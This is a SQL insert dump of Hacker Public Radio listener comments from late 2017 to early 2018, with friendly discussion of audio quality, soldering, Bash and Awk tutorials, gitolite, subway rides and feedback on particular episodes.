(2251,2184,'2017-12-11 15:49:16','Ken Fallon','Re: Audio','Hi ZZ,\r\n\r\nI had a listen to this show again, and the content came through loud and clear. Sure there were some artifacts in this show, but if you listen to other shows from b-yeezi, you\'ll see that this is not typical of his setup.\r\n\r\nWe all have a \"bad audio day\" but I would prefer to get shows that are imperfect, over not getting perfect shows. \"Our golden rule is Any audio is better than no audio.\"\r\n\r\nThanks for listening, and taking the time to comment. We are always interested in hearing from our listeners. Perhaps you could do a show and tell us your tech story, or any other story you like \"as long as it\'s of interest to hackers\". \r\n\r\nKen.','2017-12-11 15:52:50'),
(2252,2314,'2017-12-12 20:40:59','NYbill','Its alive!','Well, its been a long time. But, I thought I\'d just pop in here to give a little closure.  The motherboard sat on a shelf here for months.  I realized I probably would never use it. \r\n\r\nSo, I brought the motherboard/CPU to our LUG and gave it to a buddy, Rusty1.\r\n\r\nToday I get this message:\r\n\r\nhttps://imgur.com/PXHmClW\r\n\r\nSo there you go, the cap repair worked! Jon can stop staying up nights wondering. ;)','2017-12-12 20:56:35'),
(2253,2443,'2017-12-13 16:09:29','b-yeezi','Need to give this a try','Great show, as always. I have a few command line access and programs I\'ve written using yad that would be great to group together in a menu. I\'ll check out pdmenu for this. Thanks.','2017-12-13 16:12:12'),
(2254,2445,'2017-12-15 20:31:35','Frank','Well Done','A fascinating and timely discussion.','2017-12-15 20:35:08'),
(2255,2314,'2017-12-15 22:58:43','Jon KUlp','Insomnia','Whew, thanks, Bill! I still have trouble sleeping but at least it\'s not b/c of that motherboard. ;)','2017-12-16 10:32:54'),
(2256,2297,'2017-12-17 20:58:25','rtsn','good stuff','Just wanted to say thanks for this, I really enjoyed the episode and some of the music. I find it kind of hard to find new music so this was pretty great!','2017-12-17 21:09:12'),
(2257,2163,'2017-12-18 15:21:42','Ron Strelecki','GNU Awk, part four','I think if you put what you suggested in the notes (that inside a print statement, Awk interprets a comma as OFS) that would be perfect! When learning any language, context variation is a consistent bugaboo. Wait, why does a semi-colon mean one thing here, and something else entirely there? So doing it deliberately, and then pointing it out is definitely beneficial, and points out the internal workings of the language.','2017-12-18 15:40:41'),
(2258,2452,'2017-12-19 20:52:05','Ken Fallon','retriever dog training','Seriously ?\r\n\r\n\"I don\'t think anyone on HPR would be interested in retriever dog training - I guess we won\'t be doing a show about that ?\"\r\n\r\nWords fail me.\r\n\r\nKen.\r\n\r\nHappy Birthday !!','2017-12-19 21:20:15'),
(2259,2455,'2017-12-20 08:35:38','Ken Fallon','Wasting shows','You could have split this into two shows !','2017-12-20 08:47:17'),
(2260,2448,'2017-12-20 14:34:37','STLShawn','Fascinating','I have worked with DOS and windows for twenty five years now. My only nix experience was with phone systems and hotel systems with which I administered through step by step procedures. I am now starting to learn a bit more command line Linux as I have started playing with raspberry pi computers and switched a couple of laptops to Xubuntu and Mint XFCE. \r\nAs you probably guessed, a lot of the show went over my head, but it is fascinating to hear the possibilities for automation that are available if I could learn more of Bash commands. This series has been very helpful to me in developing a desire to learn more and find things that I could try to automate.  \r\nThank you very much for your hard work. \r\nShawn','2017-12-20 14:43:51'),
(2261,2452,'2017-12-20 14:43:22','STLShawn','Would love dog training','I would love a show on retriever training! That would be so interesting. I think diversity is needed a bit. I mean, people are submitting great and wonderful tech, gaming, and discussion shows, but some rather odd the wall stuff would be wonderful.','2017-12-20 14:45:53'),
(2262,2442,'2017-12-20 14:50:47','STLShawn','Peaceful','I ha e a habit of studying in a back room of my house with only the hum of a fan or some music in the background. I enjoyed putting this on and looping it while trying to trudge through a very dry book on learning Linux. \r\n\r\nThat reminds me, I should do an episode on more mature adults seeking their first degree. Maybe. I don&rsquo;t know. I&rsquo;ve never done anything like an audio recording,,,, but I had never attended a community college before last year either.','2017-12-20 15:00:42'),
(2263,2448,'2017-12-20 17:12:26','Dave Morriss','Thanks Shawn','I\'m glad you found it interesting, and hope this series proves to be useful to you. I plan to do more shows on Bash functions and Bash features in general in the future.\r\n\r\nDave','2017-12-20 17:17:43'),
(2264,2394,'2017-12-20 18:52:52','Ken Fallon','All set but ....','Got the kit but it has surface mount components - PANIC.','2017-12-20 18:57:37'),
(2265,2442,'2017-12-21 12:52:43','Tony Hughes','Reply to Shawn','Thanks for the comment, I\'m glad you found it helpful in your studying. Linux Books can be quite dry and daunting with all the unfamiliar language when your first starting but worth persevering with. \r\n\r\nYou don&rsquo;t need any special skills to record a show, just a digital audio recorder or PC, Phone, Tablet etc, and the ability to send that audio file to HPR via the net. All the rest can be taken care of by the wonderful team of volunteers who do such a great job with little recognition.\r\n\r\nAs Ken and Dave often say, you now owe us a show, LoL.','2017-12-21 16:04:13'),
(2266,2448,'2017-12-21 12:55:18','Mike Ray','Bash shows','Keep it coming Dave.\r\n\r\nI do a lot of bash programming, mostly because I work on the assumption that if I need to type the same complex command-line more than twice it should be a script, to cut down on typing, trying to remember stuff, and to cut down on errors.\r\n\r\nI don\'t enjoy bash programming very much. Mostly because I hate not being able to use normal language constructs like:\r\n\r\nresult = function(argumments)\r\n\r\nSo the more tips and ideas from anybody else who faces the same questions the better','2017-12-21 16:04:13'),
(2267,2448,'2017-12-21 19:04:13','Dave Morriss','Thanks Mike','Glad these are turning out to be useful.\r\n\r\nI have always been fascinated by what I guess can be called \'command languages\'. I have worked with the GEORGE operating system that had a fairly basic one, and VMS, which which had DCL (Digital Command Language), which grew to be fairly sophisticated during my time using it. However, in comparison, I find Bash to be considerably more sophisticated. Still not a true language with features like those you describe, but nevertheless worth working with I think.\r\n\r\nIt\'s this that motivates me to describe what can be done with Bash, and I amuse myself trying to do things that stretch my imagination a bit :-)\r\n\r\nDave','2017-12-21 19:06:18'),
(2268,2447,'2017-12-21 19:32:53','Ken Fallon','Details','Do you have links or other notes ?','2017-12-21 19:37:53'),
(2269,2438,'2017-12-23 03:39:52','Ron Strelecki','AWK part 8','It is strange what people pick up on in a tutorial. For instance, I\'d never run a program using: echo nn | ./program.awk ... It\'s a very handy little construction. I even popped the divisor program into my bin and named it \"isprime\" so I can just ask \"echo 913 | isprime\"? and get an answer.\r\n\r\nIt\'s often the little off the cuff details that catch attention. Thanks!','2017-12-23 07:17:00'),
(2270,2438,'2017-12-24 23:10:52','Dave Morriss','Thanks Ron','I\'m glad you found something of interest in the episode.\r\n\r\nThis is really a Unix thing. The echo command writes to STDOUT by default, and Awk reads from STDIN unless you tell it otherwise, so joining the two like that in a pipeline (as it\'s called) achieves a useful result very simply.','2017-12-24 23:14:46'),
(2271,2447,'2017-12-27 21:56:08','Klaatu','shownotes','I do intend to write some notes on this topic. I have no useful links; this episode exists because I can\'t find a howto online that\'s any good; they all presume the reader is familiar with how a certificate infrastructure works, or they assume the reader knows all about network routing, and so on. So for now, the audio version of the shownotes are embedded in the ogg file. Eventually, I\'ll write something up. Ideally, I\'ll write down the entire server series!','2017-12-27 22:33:37'),
(2272,2454,'2017-12-28 20:15:53','Trucker Rich','Delivery and Content','The two of you came across as arrogant and I feel like you tried to hijack the HPR audience.  I am not \"your listener\". I am a regular listener of HPR and it is pretty apparent that neither of you have listened for any length of time.  If you had then you would have heard klaatu a hundred times or more.  You would understand what is meant by \"open source\" and \"free software\" for this community.  You would have realized that most of the hosts are just as \"f****** smart\" or smarter than you claim to be.\r\nThat being said, I did appreciate some of the topics that you touched upon.  You could do a whole show on the Bally Astrocade instead of a just a brief diversion. The Huawei background and info could be another show.  \r\nAnyway, thanks for contributing.','2017-12-28 20:25:39'),
(2273,2455,'2017-12-29 00:42:01','Klaatu','Forgot a link','I failed to include the link to the source of the story:\r\nhttps://www.drivethrurpg.com/product/229831/Job-inSecurity','2022-02-14 13:18:04'),
(2274,2448,'2017-12-29 16:03:41','Mike Ray','BASH_REMATCH','How about some shows about the various built-in variables? I have made use of BASH_REMATCH (dollar sign excluded because I assume it might break something), but I assume there are more I have missed.','2017-12-29 16:10:13'),
(2275,2448,'2017-12-29 16:39:39','Dave Morriss','Re: BASH_REMATCH','Great suggestion.\r\n\r\nOn my list of future Bash topics I have Regular Expressions, quite near the top. That episode would include BASH_REMATCH of course.\r\n\r\nI have mentioned one or two of the other Bash variables in passing such as FUNCNAME , but there are many more.\r\n\r\nThanks for the feedback.\r\n\r\nBy the way, with our new comment system we strip HTML but take measures to try to ensure all other ASCII characters pass through unhindered. So dollar signs ($) shouldn\'t be a problem.','2017-12-29 16:41:25'),
(2276,2422,'2017-12-29 23:00:07','busybusy','Kickstarter Revisited','I noticed that you mentioned that you are not a sales man and described a person you knew that was great a creating hype about a  produce which may go against your personality. But I would say that to get best results from other people\'s stories about any Kickstarter like service, is to to have a prototype ready to go. It shows that you have something besides an idea and some direction which is why you need the money to bring it into production. I don\'t like selling either but if you believe in the game idea, had a prototype (rules, card layouts, etc.), then the IDEA will sell itself. People will see value in the what you are trying to achieve thus you are not selling anything but creating something people WANT to bring to fruition because it intrigues them as much as you. \r\n\r\nI just wanted bring another perspective. \r\n\"Ideas sell themselves because people see value in it.\"','2017-12-30 08:03:12'),
(2277,2417,'2017-12-29 23:23:16','busybusy','A Different Time','You brought back a lot of old memories when you mentioned Transmeta. I thought it was a unique potential game changer in the CPU market but it no push to be able to really break into the monolithic market forces of the time. Bummer!\r\n\r\nThanks for sharing your find, the story, and that it still works!! ;)','2017-12-30 08:03:12'),
(2278,2455,'2017-12-30 15:00:45','Dave Morriss','Added forgotten link','Hi Klaatu,\r\n\r\nI forgot to tell you that I added the link you mentioned to the notes. I also updated the show notes on archive.org to include them.\r\n\r\nFor future reference you can let us know about any changes you need to be made to the notes by email to admin at hackerpublicradio.org. Since we don\'t propagate comments to archive.org (well, not yet anyway) changing the notes and propagating those gets any changes to the wider audience.','2017-12-30 15:02:49'),
(2279,2456,'2018-01-01 08:23:26','Mike Ray','Work load','I sort of drifted off a bit during the talk about how to embed show notes and other stuff in video, so I may be a bit off track here.\r\n\r\nBut I caught sentences that included talk of oscilloscope traces of the frequency distribution of the host and other stuff, like the HPR logo etc.\r\n\r\nThis made me think of a mantra I have always used in my professional life, and that is, don\'t promise to, or start to, provide something periodically on a regular basis that you are likely to regret.\r\n\r\nI don\'t know about how other people consume HPR, but I typically do it in bed with my iPhone.  Typically, if the show contains stuff I need to look at, like Dave\'s shows about bash, I will go to the site the next day and copy and paste stuff from Dave\'s notes into a markdown file which I then file away on my RAID system.\r\n\r\nSome shows I delete just given the subject without even listening, typically anything which looks like a \'how I make coffee\' or \'how I make a glass of water\'. Other shows I listen to right through without any hesitation because of the reputation, in my own mind, of the quality of the hosts past shows.\r\n\r\nBut, on to my point...I would not recommend you make a rod for your own back by promising stuff like video embedded show notes, oscilloscope traces or any other stuff that is incresing your work load further than before.\r\n\r\nMaybe I\'m biased here by the fact that video is pointless for me because I can\'t see.  And I have to admit to being scared that the next step will be to ONLY have the show notes embedded in a video, and then I\'m sorry but I will have to shoot you.','2018-01-01 08:26:47'),
(2280,2456,'2018-01-01 08:29:50','Mike Ray','Soldering Iron','My ears pricked up when Ken was extolling the virtues of a 25 dollar temperature controlled soldering iron. Somehow I have missed that recommendation, if it was ever aired.\r\n\r\nWhat is the make and model of the iron?\r\n\r\nI hear a loud cry of \'why does a blind man want a soldering iron?\' from the land of clogs and windmills...\r\n\r\nI do solder occasionally, especially things like PL259 coax plugs, and even components into vero board. But more recently I have decided my fingertips are too valuable to me for me to risk them, and anyway the plastic surgery bills were eroding my beer fund.\r\n\r\nBut, I regularly take stuff to the local Linux User Group, where my good friend Tony Wood, AKA \'soldering slave\' solders stuff for me under my guidance.\r\n\r\nUnfortunately Tony\'s soldering iron is only one step short of being a big lump of copper on the end of a steel rod which he plunges into hot coals before bringing it to bear on the legs of a surface mount AVR micro-controller.\r\n\r\nI have been thinking of getting a temp controlled iron I can stuff in my rucksack and lug to the LUG (see what I did there?)','2018-01-01 08:32:07'),
(2281,2456,'2018-01-01 11:38:15','Dave Morriss','Soldering Iron','Hi Mike,\r\n\r\nI bought myself the solder station Ken was mentioning having seen it on Big Clive\'s YouTube channel (https://www.youtube.com/channel/UCtM5z2gkrGRuWd0JQMx76qA). I recommended it to Ken and he also bought one.\r\n\r\nThe link I sent him was: https://www.amazon.co.uk/Digital-Electronic-Soldering-Station-Temperature/dp/B00KBPN1ZU\r\n\r\nI also bought a few extra handles and a load of spare tips, which I found on eBay. I can send you eBay links by email if you want, but they may not be current any more.\r\n\r\nThinking of the big lump of copper on the end of a rod, that\'s what I learnt to solder with at school. We used a gas heating unit, so we\'d advanced a bit from the hot coals :-)','2018-01-01 11:40:40'),
(2282,2456,'2018-01-01 12:48:06','Mike Ray','Soldering','I also learned to solder at school with the thing we\'re talking about thrust into the heap of clinkers heated with a gas torch.\r\n\r\nThe first thing the metal work teacher got us to make was a tin-plate tray. This involved cutting a V out of each corner of a square of tin-plate, folding it up slightly and running solder into the mating of the edges to make the tray.\r\n\r\nUnfortunately, I never managed to cut the Vs accurately, and ended up trying to solder across a gap after bemnding the cut outs back and forth to break them.\r\n\r\nAfter about six months the other kids were making hasps and staples, or paint scrapers, milling stuff on the milling machine, and I was still trying to get solder to bridge a one millimetre gap :-)','2018-01-01 12:50:41'),
(2283,2456,'2018-01-01 18:08:55','Frank','U. S. College Course Numbering','Regarding \"101,\" 102,\" etc.\r\n\r\nIt is common, but by no means universal that U. S. colleges use this means of numbering courses.  Generally, 100 refers to Freshman (first year) courses; 200 to Sophomore (second-year) level courses, up to 400 and above for advanced or graduate-level courses.   Generally, the more advanced the course, the more narrow and in-depth its focus.\r\n\r\n\"101\" is usually a basic intro course, \"102\" the  next intro course, and so on.  A first semester U. S. History course would be History 101 (say, colonization to Civil War); the following second semester course would be History 102 (say, Civil War to Present).  (As an aside, judging by what\'s happening domestically in my country, I have concluded that those courses are no longer taught, but that\'s another matter).   History 412, just to pick a random topic, might be an exhaustive dive into the Early Federal period (roughly 1790-1832).\r\n\r\nAgain, this is not a universal system, jut a very common, perhaps the most common system.\r\n\r\nI do not know the origins of this system.\r\n\r\nHere\'s a more detailed article from Cal State--Northridge:  https://catalog.csun.edu/policies/course-numbering-system/','2018-01-01 18:11:54'),
(2284,2399,'2018-01-02 07:13:46','dodddummy','One more use case and a generalization','At about the same time I created this episode, I got a monitor from AOC. You can access the settings menu via 3 physical buttons on the from of the right bezel.  The problem is they are those buttons you can\'t really feel.  There are labels on them but those labels are hard to feel, too.\r\n\r\nThis resulted in numerous failed attempts to make needed adjustments.  Frustrated me enough I\'ve used one monitor for the past couple of weeks.\r\n\r\nToday I finally got around to solve this problem.  At first I put the monitor on it\'s back so I could get a good look see.  With good lighting I was able to see the buttons clearly and make the necessary adjustments and  have dual monitors again. Hooray!\r\n\r\nIn on of the most epic DUH! moments, I thought ot  this episode and added landmarks to those buttons.  So far so good.\r\n\r\nGeneralization:\r\nIf you have something that would benefit from tactile landmarks, superglue might be the answer.','2018-01-02 07:25:57'),
(2285,2435,'2018-01-02 17:34:03','Frank','SSH','This is the best description of ssh public/private keys that I have encountered.','2018-01-02 17:36:07'),
(2286,2454,'2018-01-03 00:02:43','Casper','Delivery and Content','Thank you for the feedback.  \r\n\r\nWe are committed to doing better work in the years ahead.  We do not want to hijack the community, only provide content and contribute to the community to keep it moving along.\r\n\r\nWe are working to cross-collaborate with other members of the HPR community to better tune our delivery.','2018-01-03 07:54:40'),
(2287,2455,'2018-01-03 14:31:50','ClaudioM','Fantastic \"Audio Drama\" version of i0!','A wonderful conclusion to this excellent series of RPG episodes!  Looking forward to more of these.  Kudos to all involved, including those who contributed the sound effects provided by Klaatu.\r\n\r\nKlaatu: the moral of this story is that you can never please Ken Fallon. :-p','2018-01-03 14:35:38'),
(2288,2456,'2018-01-03 22:07:42','Dave Morriss','Learning to solder at school','I just realised I still have a little metal scoop I made at school. It was made from what I think is tin plated sheet steel bent in a box bender with tabs that had to be soldered. Getting those tabs properly aligned and soldered was a challenge and there are some *wide* gaps where the solder just didn\'t bridge them.\r\n\r\nIt wasn\'t a show-stopper, because I remember learning to braze some tools for the fireplace later and making tyre levers at the forge. Fun times :-)','2018-01-03 22:11:34'),
(2289,2459,'2018-01-04 15:31:47','dodddummy','My new favorite episode','If this episode doesn\'t warm your heart, you don\'t have one.','2018-01-04 15:35:38'),
(2290,2459,'2018-01-04 17:20:53','Dave Morriss','Thanks for this Joey','I was surprised and very happy that my episode about pdmenu resulted in you becoming an HPR contributor. I hope you feel motivated to contribute more!\r\n\r\nIt was a great episode. Also, as a Perl enthusiast I\'m delighted to hear that\'s where pdmenu originated :-)','2018-01-04 17:59:13'),
(2291,2458,'2018-01-04 22:20:58','Xoke','You missed uMatrix','https://chrome.google.com/webstore/detail/umatrix/ogfcmafjalglgifnmanfmnieipoejdcf?hl=en\r\n\r\nNoScript, but done by the guy who did ublock so they play well together\r\n\r\nThere is a learning curve so I don\'t recommend it for my family, but does work great for techies.','2018-01-04 22:22:36'),
(2292,2460,'2018-01-06 22:17:59','Brian in Ohio','alien brothers podcast','Ok I gave it a try and listened to the complete 3rd episode of alien brothers and I think this series of podcasts is terrible. If these guys are trying to be funny, they aren\'t. If they are trying to be smart, they are not. If this is a kick starter like attempt to gage the market for a podcast i think that\'s a poor use of hacker public radio. Please put these shows in the emergency queue so when we start hearing them we\'ll know the end is near.','2018-01-06 22:20:44'),
(2293,2460,'2018-01-08 12:55:08','Ken Fallon','HPR has no length restriction','From the about page \"There is no restriction on how long the show can be..\"\r\n\r\nWe have had 71 shows longer than one with the longest running 02:36:58.','2018-01-08 12:56:49'),
(2294,2460,'2018-01-08 20:21:55','Rutiger of the Alien Brothers Podcast','Hi Brian from Ohio','-r\r\n\r\nHi Brian - \r\n\r\nThanks for your feedback! \r\n\r\nAs far as I know, we&rsquo;re not being or striving to be anything funnier or smarter or longer or Kickstarter-supported than being the Alien Brothers Podcast hosted on Hacker Public Radio, at their consider help, support and bandwidth/space largess. \r\n\r\nOur over-used phrased is this is the Alien Brothers Podcast, and not some other one. \r\n\r\nIf we&rsquo;re &ldquo;terrible&rdquo;, we invite a lucid critique because, I mean, we already know we&rsquo;re terrible. It&rsquo;s the Alien Brothers Podcast. I can only assume by your use of that single word you mean &ldquo;tremendous&rdquo; as in &ldquo;Oz the Great and Terrible&rdquo;. \r\n\r\nCasper and I have had conversations acknowledging our segments are too long. \r\n\r\nKeep coming back! -r\r\n[1] although I believe length is important is certain contexts, but I know Casper and I are conscious of the fact our submissions are almost certainly too long','2018-01-08 20:25:28'),
(2295,2435,'2018-01-08 21:45:54','Klaatu','Re: yum whatprovides?','I somehow missed this comment until the monthly show read it aloud.\r\n\r\nAgreed, Frank. yum (and dnf, now) really is a great interface to packages. I have found zypper in openSUSE to be pretty neat, too.','2018-01-08 21:54:15'),
(2296,2449,'2018-01-10 14:56:40','folky','Orgzly','I also had problems with MobileOrg, but found another solution. I have an owncloud instance where my orgmode directory is mirrored. On the android device I have installed the owncloud client-app and orgzly. Orgzly is syncing to the local owncloud org directory and the owncloud client is then syncing with the server. It sound harder than it is in RL.','2018-01-10 14:59:00'),
(2297,2461,'2018-01-11 16:03:28','jimzat','gitolite and HPR2446','Thank you for these two episodes (2446 &amp; 2461)!\r\n\r\nI have been using git at work for over 5-1/2 years on two desktops and one laptop (1 Windows XP and 2 Linux) using ssh keys that I have manually put in place on the various machines.\r\n\r\nI currently have over 60 unique repositories of which some are customer configuration specific and some are globally common.\r\n\r\nAt this point in time, I need to allow access for other developers to \"my\" repos.  It took me around a day to implement the method explained in episode 2446 and less than a couple of hours to replace that with using gitolite!  Managing the keys and wildcard repos within gitolite is so much easier than the manual requirements of the method from episode 2446.','2018-01-11 16:07:48'),
(2298,2460,'2018-01-12 05:54:41','Klaatu','Another brilliant episode.','The last time I heard an audio performance this good was at the Yes concert in Denver. Sadly, the band couldn\'t make it but the opening act was pretty great.','2018-01-12 08:06:04'),
(2299,2461,'2018-01-13 02:49:36','Klaatu','@jimzat','Qapla\'!','2018-01-13 09:25:11'),
(2300,2422,'2018-01-13 03:00:27','Klaatu','@busybusy','Yes, maybe I should have provided an easy-to-download temporary version of the game, plus the full rules. Thanks for the idea. If I try again, maybe that\'s something I\'ll try.','2018-01-13 09:25:11'),
(2301,2462,'2018-01-13 23:11:11','Ahuka','At long last!','I am a fanatic about the Lensman series. In fact, my e-mail address comes from that series.','2018-01-13 23:13:42'),
(2302,2466,'2018-01-16 09:41:51','Sundar','Useful tool for streamlining screencapture','This sounds like one those long-tail tools that you never knew how much you needed, until you came across them. I have a few like that (and that\'s one of the topics I have in my \'one day when I make a HPR recording\' ideas), ShareX might go in that list if it works on my potato of a laptop.\r\n\r\n(But making an informative, quality podcast episode doesn\'t excuse your proud mispronunciation of \'gif\', Xoke. Please repent by sharing ten gifs of adorable kittens/puppies online.)','2018-01-16 09:46:11'),
(2303,2455,'2018-01-22 19:06:20','Draco Metallium','Great show!','Do you plan to continue recording more of these? I hope so!','2018-01-22 20:56:31'),
(2304,2466,'2018-01-22 23:38:20','Xoke','\'jif\'','jif will always be a micro liquid...\r\nhttps://www.youtube.com/watch?v=4im-mENeBmg','2018-01-23 07:42:13'),
(2305,2455,'2018-01-23 21:41:38','Ron P','Excellent! Encore!','Loved listening to this series. As someone who wishes they had more free time to get into Pathfinder/D&amp;D/etc. (picked up the Pathfinder Beginners Box, but currently it\'s collecting dust bunnies) I hope this idea/series continues!','2018-01-23 21:43:34'),
(2306,2474,'2018-01-24 04:01:28','dodddummy','They won\'t sell.','How did I miss this from Hasbro Interactive?  Cool.\r\n\r\nAs for making a new console which will play the old cartridges, I don\'t think that would be economically feasible and doubt many would buy them. In my experience people who want to play on real hardware, want the actual hardware.\r\n\r\nPerhaps this will change as more and more old systems die out.  In the case of the 2600, while I lost countless hours of my youth to it, there are only a handful of 2600 games worth playing.\r\n\r\nI don\'t see any major player creating such a system.  Perhaps a small, expensive runs, which would make most people use emulators on machines they already have.','2018-01-24 08:46:36'),
(2307,2470,'2018-01-25 04:14:40','Windigo','Thanks for the update!','I\'ve enjoyed every episode of this series, and find your explanations of the concepts behind these policies invaluable.\r\n\r\nWith so much rhetoric and propaganda surrounding the healthcare debate, a factual explanation is just what I needed to hear.\r\n\r\nThank you so much!','2018-01-25 08:55:59');
INSERT INTO `comments` (`id`, `eps_id`, `comment_timestamp`, `comment_author_name`, `comment_title`, `comment_text`, `last_changed`) VALUES (2308,2475,'2018-01-27 03:26:22','Frank','This Show','Excellent discussion.\r\n\r\nOne fact I would contribute is that women throughout most of history have been treated as property.  Much of what you all said about the status of women before prohibition was reflective of this.  I\'m old and I can remember when, in the USA, a woman could not get a loan, a mortgage, or a credit card without a male cosigner, if she could get one at all.\r\n\r\nAnd, as we can see from current history, many men still view women as property, indeed, as playthings.\r\n\r\nIn addition, as a lifelong reader of Playboy (and at the risk of starting something), I must, with some trepidation, question how   Playboy pictures can be conflated with pornography, unless the conflator believes that nudity is inherently pornographic, a position I do not share.  I would argue that said person, at the least, has never seen a copy of Hustler. nor an image of the Venus de Milo.  \r\n\r\nWhy for that matter, do you think the great masters of painting have painted so many nudes?  I guarantee--as Justin Wilson used to say--it wasn\'t solely because of an abstract appreciation of color and form.\r\n\r\nOnce more, an excellent discussion.','2018-01-27 09:53:55'),
(2309,2477,'2018-01-30 04:59:35','dodddummy','Correction','I meant to say that when I\'m walking around I prefer to listen sped up not normal speed.','2018-01-30 07:34:00'),
(2310,2470,'2018-01-31 07:47:17','dodddummy','Time to update for the elimination of the individual mandate?','Does the removal of the individual mandate justify an update?','2018-01-31 08:30:57'),
(2311,2470,'2018-01-31 20:04:51','Ahuka','I did cover it','The repeal of the Individual Mandate was covered in this last episode, I believe.','2018-01-31 20:06:42'),
(2312,2465,'2018-02-03 10:30:15','timttmy','Thanks','Just wanted to say thanks to operat0r for bringing tron-script to my attention. I hate maintaining the windows boxes at work (5 windows boxes and 7 linux boxes). I have run tron-script on 3 of the machines so far and they are running a LOT quicker now including one of the win7 machines which got stuck installing updates a while back and even after hours of searching for a solution to the problem, nothing. Tron-script has resolved the issue and the machine is now up to date :)\r\nIt looks like tron-script has been around for quite some time and has remained under my radar. So thanks again for the episode and bringing it to my attention. \r\nI wonder what other tools HPR listeners use that I or others have not heard of?','2018-02-03 10:32:46'),
(2313,2478,'2018-02-05 00:22:05','hammerron','a second Star Trek reference','As soon as you said Star Trek, it made me think of TNG season 7, an episode called Masks . In that episode both Data and Picard wore masks and had altered roles.','2018-02-05 09:08:25'),
(2314,2477,'2018-02-05 10:48:22','dodddummy','Chickens','I meant to remove the roosters but forgot. In the Philippines and there are roosters everywhere.','2018-02-05 10:53:25'),
(2315,2478,'2018-02-05 22:28:53','lostnbronx','Excellent Episode','I really enjoyed this installment of the Audiobook Club. It was great hearing from the author, who was thoughtful and articulate, explaining what sounded like complex concepts and making them clear. I\'m really excited to listen to this book, spoilers notwithstanding.\r\n\r\nGreat job, guys!','2018-02-05 22:32:05'),
(2316,2482,'2018-02-06 00:35:08','Clinton Roy','How on earth did I do that? :(','I\'ve somehow managed to upload both interviews in the one show :(\r\n\r\nI haven\'t even edited the second interview yet.','2018-02-06 07:42:54'),
(2317,2489,'2018-02-15 19:18:06','Ken Fallon','Bin there done that. (Deliberate typo Dave)','1. Yes you describe why I hate forums.\r\n2. Why did you not record a show describing the peoblem? I know several hosts that have ffmpeg foo. We have the exact same needs for hpr itself','2018-02-15 19:44:39'),
(2318,2482,'2018-02-18 07:17:13','Clinton Roy','Thank you to the admins','I would just like to publicly say thank you to the admins to fixed my mistake, in a way that will force them to read it aloud ;)','2018-02-18 09:54:50'),
(2319,2492,'2018-02-20 00:30:09','Clinton Roy','Swapping in..','It\'s been many a year since I was in Canada: are these the rubber wheeled ones?','2018-02-20 08:34:34'),
(2320,2488,'2018-02-20 05:40:00','Windigo','Welcome','Quite a topic for a first episode!\r\n\r\nI enjoyed it, and look forward to your next submission. :)','2018-02-20 08:34:34'),
(2321,2477,'2018-02-20 06:15:08','Windigo','Also distractable','Thanks for the tip! I am also very distract-able, and find myself rewinding HPR episodes constantly to catch what I just missed. I tried looping an episode (this one, in fact) and saw a real difference in what I remembered.\r\n\r\nI was curious about the roosters, but didn\'t mind them too much. Perhaps just list them as a co-host next time? ;)','2018-02-20 08:34:34'),
(2322,2492,'2018-02-20 12:13:39','RWA','hpr2492 :: An Evening Subway Ride','I recently moved to Atlanta, GA USA and it had been years since I used the local subway. Here they call it MARTA - Metropolitan Atlanta Rapid Transit Authority. It is a combination of subways and buses. This past weekend I decided to give MARTA a try. The Toronto subway sounds just like the Atlanta subway and no I didn\'t fall asleep. I rode the subway for three hours and only saw one person asleep.','2018-02-20 12:42:29'),
(2323,2492,'2018-02-20 12:36:07','MPardo','Screeching Steel Wheels','The Toronto subway trains have steel wheels.  The Montreal subway trains have rubber tires.\r\n\r\nMore details here - https://en.wikipedia.org/wiki/Rubber-tyred_metro','2018-02-20 12:42:29'),
(2324,2493,'2018-02-22 07:42:48','Hipstre','Entertained!','I can\'t wait to look into these youtube pages. So many interesting subjects. Thanks!','2018-02-22 08:01:20'),
(2325,2495,'2018-02-23 02:38:28','Clinton Roy','Wow','Congratulations! That is a milestone I can work towards.','2018-02-23 08:08:01'),
(2326,2492,'2018-02-23 16:56:39','Ken Fallon','Meta','Sitting in a train, listening to a podcast of someone in a train.','2018-02-23 17:29:11'),
(2327,2418,'2018-02-25 14:36:23','MrX','re great infos','Hi Klaatu, many thanks for the kind words, glad you found it enjoyable and sorry for taking so long to reply, I only just noticed the comment I really should check for comments more often.','2018-02-25 14:39:26'),
(2328,2507,'2018-02-26 01:05:36','clacke','typo','\"Larger than I thought*\"','2018-02-26 08:15:30'),
(2329,2496,'2018-02-26 16:19:42','b-yeezi','Directly into my toolbox','Thanks Dave. I have a half dozen Pi\'s myself. This script will go directly into my script toolbox. Your mind is a treasure trove. Please keep digging!','2018-02-26 16:24:02'),
(2330,2507,'2018-02-26 22:44:32','Dave Morriss','Re: typo','Oops, sorry I didn\'t notice the error when I processed your notes. I\'ll hand in my proof-reading badge...\r\n\r\nI have fixed the error. Feel free to contact HPR admins via admin at hackerpublicradio.org if this sort of thing ever happens in the future.','2018-02-26 22:46:38'),
(2331,2507,'2018-02-27 01:41:01','clacke','Re: typo','Alright, I made it a comment to spare you the work of correcting the original text and then you went and did it anyway. :-)\r\n\r\nSo I\'ll mail you the next time.','2018-02-27 08:07:32'),
(2332,2493,'2018-02-27 14:10:31','Dave Morriss','Enjoy!','I hope you enjoy some of the channels I mentioned.\r\n\r\nYou could contribute some of your own recommendations at some point. I\'m sure they\'d be appreciated :-)','2018-02-27 14:15:45'),
(2333,2496,'2018-02-27 14:13:33','Dave Morriss','Thanks b-yeezi','I hope you find the script useful. Suggestions for improvements and enhancements are welcome!','2018-02-27 14:15:45'),
(2334,2507,'2018-02-28 08:32:53','clacke','Re: that info.rkt for a node','Got word from Stewart (and he\'s https://twitter.com/sj_mackenzie btw , and Fractalide has an account at https://twitter.com/fractalide ) that I misspoke on something: A node won\'t have an info.rkt, it\'s one fractal, one package, and nodes are pointed out internally within that package.\r\n\r\nFor more on what all this means, what a fractal is and more, look forward to my interview with Stewart whenever we get that in order.','2018-02-28 09:11:28'),
(2335,2486,'2018-03-01 15:28:35','Dave Morriss','Quite a haul!','I envy your finds! I didn\'t know there were such events in this part of the world.','2018-03-01 15:30:39'),
(2336,2501,'2018-03-03 19:33:39','Ken Fallon','https://duidelijkautistisch.nl/','The link to the Dutch book is https://duidelijkautistisch.nl/','2022-02-14 13:25:06'),
(2337,2501,'2018-03-03 19:38:19','Ken Fallon','Escape for pipe','&amp; # 1 2 4 ; \r\n\r\nWill escape the | character !','2018-03-03 19:41:00'),
